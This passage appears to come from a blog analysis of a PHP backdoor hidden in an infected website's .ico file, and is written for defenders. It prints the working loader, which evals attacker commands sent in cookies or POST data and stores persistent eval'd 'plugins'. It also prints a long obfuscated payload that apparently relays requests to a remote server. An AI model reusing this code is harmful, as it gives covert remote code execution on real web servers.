do {
$enc_byte_a = $char_values[$encoded[$index++]];
$enc_byte_b = $char_values[$encoded[$index++]];
$enc_byte_c = $char_values[$encoded[$index++]];
$enc_byte_d = $char_values[$encoded[$index++]];
$dec_byte_a = ($enc_byte_a << 2) | ($enc_byte_b >> 4);
$dec_byte_b = (($enc_byte_b & 15) << 4) | ($enc_byte_c >> 2);
$dec_byte_c = (($enc_byte_c & 3) << 6) | $enc_byte_d;
$decoded = $decoded . chr($dec_byte_a);
if ($enc_byte_c != 64) {
$decoded = $decoded . chr($dec_byte_b);
}
if ($enc_byte_d != 64) {
$decoded = $decoded . chr($dec_byte_c);
}
} while ($index < strlen($encoded));
return $decoded;
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($tvdhorx, $mjlrdqx, $vvcgmrb = False)
{
$qqgovy = $vvcgmrb == 8 ? 'a' : 'w';
$yuhieu = @fopen($tvdhorx, $qqgovy);
if ($yuhieu === False)
{
return 0;
}
else
{
if (is_array($mjlrdqx)) $mjlrdqx = implode($mjlrdqx);
$xjcxyhb = fwrite($yuhieu, $mjlrdqx);
fclose($yuhieu);
return $xjcxyhb;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($trxrfats)
{
$tjymix = fopen($trxrfats, "r");
$edpmohh = fread($tjymix, filesize($trxrfats));
fclose($tjymix);
return $edpmohh;
}
}
function this_filename()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function xor_two_strings($value, $xor_key)
{
$result = "";
for ($index_l=0; $index_l<strlen($value);)
{
for ($index_r=0; $index_r<strlen($xor_key) && $index_l<strlen($value); $index_r++, $index_l++)
{
$result .= chr(ord($value[$index_l]) ^ ord($xor_key[$index_r]));
}
}
return $result;
}
function xor_key_then_uuid($value, $xor_key)
{
global $uuid;
return xor_two_strings(xor_two_strings($value, $xor_key), $uuid);
}
function xor_uuid_then_key($value, $xor_key)
{
global $uuid;
return xor_two_strings(xor_two_strings($value, $uuid), $xor_key);
}
function get_stored_object()
{
$file_contents = @file_get_contents(this_filename());
$storage_location = strpos($file_contents, md5(this_filename()));
if ($storage_location !== FALSE)
{
$stored_ciphertext = substr($file_contents, $storage_location + 32);
$stored_object = @unserialize(xor_key_then_uuid(rawurldecode($stored_ciphertext), md5(this_filename())));
}
else
{
$stored_object = Array();
}
return $stored_object;
}
function set_stored_object($stored_object)
{
$stored_ciphertext = rawurlencode(xor_uuid_then_key(@serialize($stored_object), md5(this_filename())));
$file_contents = @file_get_contents(this_filename());
$storage_location = strpos($file_contents, md5(this_filename()));
if ($storage_location !== FALSE)
{
$stored_ciphertext = substr($file_contents, $storage_location + 32);
$file_contents = str_replace($stored_ciphertext, $stored_ciphertext, $file_contents);
}
else
{
$file_contents = $file_contents . "\n\n//" . md5(this_filename()) . $stored_ciphertext;
}
@file_put_contents(this_filename(), $file_contents);
}
function plugin_add($plugin_key, $plugin_value)
{
$stored_object = get_stored_object();
$stored_object[$plugin_key] = spicy_b64_decode($plugin_value);
set_stored_object($stored_object);
}
function plugin_remove($plugin_key)
{
$stored_object = get_stored_object();
unset($stored_object[$plugin_key]);
set_stored_object($stored_object);
}
function eval_plugins($plugin_key=NULL)
{
foreach (get_stored_object() as $stored_plugin_key=>$plugin_value)
{
if ($plugin_key)
{
if (strcmp($plugin_key, $stored_plugin_key) == 0)
{
eval($plugin_value);
break;
}
}
else
{
eval($plugin_value);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $key => $value)
{
$value = @unserialize(xor_key_then_uuid(spicy_b64_decode($value), $key));
if (isset($value['ak']) && $uuid==$value['ak'])
{
if ($value['a'] == 'i')
{
$debug_info = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $value['ak'],
);
echo @serialize($debug_info);
exit;
}
elseif ($value['a'] == 'e')
{
eval($value['d']);
}
elseif ($value['a'] == 'plugin')
{
if($value['sa'] == 'add')
{
plugin_add($value['p'], $value['d']);
}
elseif($value['sa'] == 'rem')
{
plugin_remove($value['p']);
}
}
echo $value['ak'];
exit();
}
}
eval_plugins();
}
}
</pre>
<br />
The first stage loader looks for a specially crafted key/value pair in <b>$_COOKIE</b> or <b>$_POST</b> which is double-xor encoded with key material that is unique to this file. This value deserializes to an array that kind of functions as a command. There is a command to print debugging info, a command to eval php, and it can even store and remove what the malware refers to as 'plugins' which are lines of code that get eval'd every the ico file is included. I thought this was a pretty badass.<br />
<br />
The amount of encryption used made it difficult to analyse, and since the key material is randmly generated, it is probably unique to each website infected. Adding to the difficulty in reversing the file was the fact that the location of the stored data is stored in a location determined by the md5 hash of the file itself, so any modification of the file would break your ability to retrieve the stored data.<br />
<br />
None the less, I was able to modify a decoded version of the file slightly to trick it in to decoding an un-touched version of the file, and this the command array that I ended up with<br />
<br />
<br />
<pre class="brush: text">Array
(
[tds] =>
$tfwqrxccyn = 8013; function jsyhlnu($qufmmejn, $hbhxqlo){$pdoalklrd = ''; for($i=0; $i < strlen($qufmmejn); $i++){$pdoalklrd .= isset($hbhxqlo[$qufmmejn[$i]]) ? $hbhxqlo[$qufmmejn[$i]] : $qufmmejn[$i];}
$wjfrld="rawurl" . "decode";return $wjfrld($pdoalklrd);}
$qoqwp = '%zP%za%zP%zaHF%nz%nr%nyt5FHp5t%nr%nfFHs5_05G_m4pG5pGw'.
'%nz%nf%n8%n8%zP%za%fE%zP%za%nz%nz%nz%nzt5FHp5%nr%nfFHs5_05G_m4pG5pGw%nz%nf%nZ%nzy%n8'.
'%AE%zP%za%zP%za%nz%nz%nz%nzms7ww%nzStwZsH5pG%zP%za%nz%nz%nz%nz%fE%zP%'.
'za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nz%nQm4pFH0%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIH'.
'k7G5%nz%nQm4pFH0_tHmG%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nz__m4pw'.
'GIYmG%nr%nQm4pFH0%nZ%nz%nQYHt%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nQGdHw-%ACm4pFH0%nz%AP%nz%nQm4pFH0%AE%zP'.
'%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGdHw-%ACYHt%nz%AP%nz%nQYHt%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%'.
'nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_05G_m4pFH0%nr%n8%zP%za%nz%nz%'.
'nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'zHF%nz%nr53DG2%nr%nQGdHw-%ACm4pFH0_tHmG%n8%n8%zP%za%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGdHw-%A'.
'Cm4pFH0_tHmG%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_t5mI2DG%nrStwZsH5pG%Aa%AahlQt%nr%nQGdHw-%AC'.
'm4pFH0%n8%nZ%nz%nnG3p2IhGkmdochp2%nn%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQGdHw-%ACm4pFH0_tHmG%AE%zP%za'.
'%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzF'.
'YpmGH4p%nz_dGGD_eY5I2_mYIs%nr%nQYIs%nZ%nz%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%z'.
'P%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nyFYpmGH4p_5oHwGw%nr%nfmYIs_k5IwH4p%nf%n8%n8%zP'.
'%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'zI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmd%nz%AP%nzmYIs_HpHG%'.
'nr%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr'.
'%nQmd%nZ%nzZqjMKiS_qjM%nZ%nz%nQYIs%n8%AE%zP%za%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%nzZqjMKiS_ZK66CZSSgWCKqS%nZ%nzA%n8%AE%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd'.
'%nZ%nzZqjMKiS_SgWCKqS%nZ%nzc%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2'.
'%nr%nQm4pG5pG%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQ'.
'md%nZ%nzZqjMKiS_iKJS%nZ%nzy%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%n'.
'zZqjMKiS_iKJSRgCMPJ%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%nzZqj'.
'MKiS_jCSqj6Sja6JRCj%nZ%nzSjqC%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQw5Ik5I_4YGDYG'.
'%nz%AP%nzmYIs_5o5m%nr%nQmd%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nzmYIs_ms4w5%nr%nQmd%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQw5Ik5I_'.
'4YGDYG%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz'.
'%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_dGGD_eY5I2_p7GHk5%nr'.
'%nQYIs%nZ%nz%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nQm4pG5oG%nz%AP%nzaII72%nr%nfdGGD%nf%nz%AP%AC%nzaII72%nr%zP%za%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nf35Gd4t%n'.
'f%nz%AP%AC%nz%nfvCS%nf%nZ%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nfGH354YG%nf%nz%AP%AC%nzc%nZ%zP%za%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nfH0p4I5_5II4Iw%nf%nz%AP%AC%nzGIY5%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2%nr%nQm4pG5pG%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nQm4pG5oG%cE%nfdGGD%nf%cP%cE%nf35Gd4t%nf%cP%nz%AP'.
'%nz%nfiKJS%nf%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5oG%cE%nfdGG'.
'D%nf%cP%cE%nfd57t5I%nf%cP%nz%AP%nz%nfZ4pG5pG-G2D5%Aa'.
'%nz7DDsHm7GH4p/o-111-F4I3-YIs5pm4t5t%nf%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nQm4pG5oG%cE%nfdGGD%nf%cP%cE%nfm4pG5pG%nf%cP%nz%AP%nz%nQm4pG5pG%AE%zP%za%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5oG%cE%nfdG'.
'GD%nf%cP%cE%nfGH354YG%nf%cP%nz%AP%nzc%AE%zP%za%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm'.
'4pG5oG%nz%AP%nzwGI573_m4pG5oG_mI57G5%nr%nQm4pG5oG%n8%AE%zP%za%zP%za%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%QzFHs5_05G_m4pG5pGw%nr%nQYIs%nZ%nzRaMJC%nZ%nz%nQm4pG5oG%n8'.
'%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%n'.
'z_dGGD_eY5I2%nr%nQYIs%nZ%nz%nQeY5I2%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%z'.
'a%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQYIs%nz%AP%nzwGI_I5Ds7m5%nr%nn%cEqjM%cP%nn%nZ%nz%nnff.rf'.
'.y8A.yQ%nn%nZ%nz%nQYIs%n8%AE%zP%za%zP%za%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQGdHw-%AC_dGGD_eY5I2_mYIs%n'.
'r%nQYIs%nZ%nz%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nzHF%nz%nr%ny%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQGdHw-%AC_dGGD_eY5I2_p7GHk5%nr%nQYIs%nZ%n'.
'z%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%f'.
'P%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQm4pG5pG'.
'%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%n'.
'z%nz%nzDIHk7G5%nzFYpmGH4p%nz_05G_I5eY5wG_HD%nr%n8%zP%za%n'.
'z%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nQHD_T52w%nz%AP%nz7II72%nr%nfjCWKSC_aPPj%nf%nZ%nz%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nzF4I57md%nz%nr%nQHD_T52w%nz7w%nz%nQT52%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr7II72_T52_5oHwGw%nr%nQT52%'.
'nZ%nz%nQ_JCjNCj%n8%nz%AP%AP%AP%nzSjqC%n8%zP%za%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I57md%nz%nr5oDs4t5%nr%nf%nZ%nf%nZ%nz%nQ_JCjNCj%cE%n'.
'QT52%cP%n8%nz7w%nz%nQHD%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHD%nz%AP%n'.
'zGIH3%nr%nQHD%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrFHsG5I_k7I%nr%nQHD%nZ%nzRgMSCj_NaMgPaSC_gi'.
'%nZ%nzRgMSCj_RMav_6K_ijgN_ja6vC%nz%fZ%nzRgMSCj_RMav_6K_jCJ_ja6vC%n8%nz%ny%AP%AP%nzRa'.
'MJC%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQHD%AE%z'.
'P%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%n'.
'z%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%n'.
'z_eY5I2%nr%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGtw_m4'.
'pFH0%nz%AP%nz%nQGdHw-%AC_05G_m4pFH0%nr%n8%AE%zP%za%zP%za%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHD%nz%AP%nz%nQGtw_m4pFH0%cE%nnGtw_HD%nn%c'.
'P%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQD4IG%nz%AP%nz%nQGtw_m4'.
'pFH0%cE%nnGtw_D4IG%nn%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nQD7Gd%nz%AP%nz%nQGtw_m4pFH0%cE%nnGtw_D7Gd%nn%cP%AE%zP%za%zP%za%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQI4YG5%nz%AP%nz%nn24I'.
'r7FoA%nn%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2%nr%nQGtw_m4pFH0%cE%nnI4YG5'.
'%nn%cP%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQI4Y'.
'G5%nz%AP%nz%nQGtw_m4pFH0%cE%nnI4YG5%nn%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%z'.
'a%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%nz%AP%nzaII72%nr%n8%AE%zP%za'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfH%nf%cP%nz%AP%nz%nQGdHw-%AC_05G_I5eY5wG_HD'.
'%nr%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfD%nf%cP%nz%AP%nz%Qz%nQ_'.
'JCjNCj%cE%nfXSSi_XKJS%nf%cP%nz.%nz%Qz%nQ_JCjNCj%cE%nfjCbqCJS_q'.
'jg%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%n'.
'fY%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_qJCj_avC6S%nf%cP%AE%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nf'.
'7%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_Ma6vqavC%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nQeY5I2%cE%nfI%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%'.
'nfXSSi_jCRCjCj%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%n'.
'f75%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_C6Z'.
'KPg6v%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nf77%nf%cP%nz%AP%nz%'.
'Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS%nf%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%'.
'cE%nf7m%nf%cP%nz%AP%nz%Qz%nQ_JCjNCj%cE%nfXSSi_aZZCiS_ZXajJCS%nf%cP%AE%zP%za%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfm%nf%cP%nz%AP%nz'.
'%Qz%nQ_JCjNCj%cE%nfXSSi_ZK66CZSgK6%nf%cP%AE%zP%za%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfm4%nf%cP%nz%AP%nz'.
'%Qzw5IH7sHV5%nr%Qz%nQ_ZKKBgC%n8%AE%zP%za%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nQeY5I2%cE%nfmD%nf%cP%nz%AP%nzw5IH7sHV5%nraII72%nr%nn7%nn'.
'%AP%AC%nQI4YG5%nZ%nz%nnYHt%nn%AP%AC%nQGdHw-%ACYHt%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nQeY5I2%nz%AP%nzdGGD_hYHst_eY5I2%nr%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nQYIs%nz%AP%nz%nndGGD%Aa//%nn%nz.%nz%nQHD%nz.%nz%nn%Aa%nn%nz.%nz%nQD4IG%nz.%nz%nQD7Gd%AE%zP%'.
'za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%n'.
'z%nQGdHw-%AC_dGGD_eY5I2%nr%nQYIs%nZ%nz%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'.
'%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4'.
'p%nzDI4m5ww_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nQm4pG5pG%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_eY5'.
'I2%nr%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQm4pG5pG%cE%nn4DGH4pw%nn%cP%n8%n8%zP%za%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I'.
'57md%nz%nr%nQm4pG5pG%cE%nnm44TH5w%nn%cP%nz7w%nz%nQ'.
'T52%nz%AP%AC%nz%nQk7sY5_7pt_GGs%n8%zP%za%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%Qzw5Gm44TH5%nr%nQT52%nZ%nz%nQk7sY5_7pt_GGs%cEz%cP%nZ%nzGH35%nr%'.
'n8%nz%nE%nz%nQk7sY5_7pt_GGs%cEz%cP%nZ%nz%nn/%nn%nZ%nz%nQ_JC'.
'jNCj%cE%nfXSSi_XKJS%nf%cP%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%z'.
'P%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQm4pG5pG%cE%nn4DGH4pw'.
'%nn%cP%cE%nnG2D5%nn%cP%n8%nz%nl%nl%nz%nQm4pG5pG%cE%nn4DGH4pw%nn%cP%cE%'.
'nnG2D5%nn%cP%AP%AP%nnHpu5mG%nn%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQvMKEa'.
'MJ%cE%nfHpu5mG7hs5_uw_m4t5%nf%cP%nz%AP%nzStwZsH5pG%Aa%AahlQt%nr%nQm4pG5pG%cE'.
'%nnt7G7%nn%cP%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz4h_wG7IG%nr%nnStwZsH5pG%Aa%AaD4wGI5pt5I_d7pts5I%n'.
'n%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5'.
'sw5%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I57md%nz%nr%nQm4pG5pG%cE%nnd57t5Iw%'.
'nn%cP%nz7w%nz%nQT52%nz%AP%AC%nz%nQk7sY5%n8%zP%za%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%Qzd57t5I%nr%nn%nQT52%Aa%n'.
'z%nQk7sY5%nn%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nzHF%nz%nrwGIs5p%nr%nQm4pG5pG%cE%nnt7G7%nn%cP%n8%nz%ny%AP%nzz%n8%zP%za%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5oHG%nrStwZsH5pG%Aa%AahlQt%nr%nQm4pG5pG%c'.
'E%nnt7G7%nn%cP%n8%n8%AE%nz%nA%nzSKPK%Aa%nzmd5mT%nzHF%nzHGw%nzFHs5%zP%za%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%n'.
'z%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nzGI2_DI4m5ww_md5mT_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%'.
